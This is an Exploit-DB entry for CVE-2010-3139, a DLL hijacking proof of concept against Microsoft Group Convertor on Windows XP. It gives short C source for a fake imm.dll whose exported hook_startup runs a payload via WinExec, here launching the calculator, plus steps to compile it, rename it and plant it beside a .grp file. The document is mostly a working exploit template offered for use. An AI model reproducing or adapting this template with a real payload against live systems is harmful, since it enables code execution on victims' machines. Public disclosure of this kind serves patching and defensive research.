Microsoft Group Convertor DLL Hijacking Exploit (imm.dll)



EDB-ID: 14758 CVE: 2010-3139 OSVDB-ID: 67535
Author: Beenu Arora Published: 2010-08-25 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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/*
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora

Exploit Title: Microsoft Group Convertor DLL Hijacking (imm.dll)
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: grp

Compile and rename to imm.dll, create a file in the same dir with one of the
following extensions:
.grp
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: http://www.exploit-db.com/sploits/14758.zip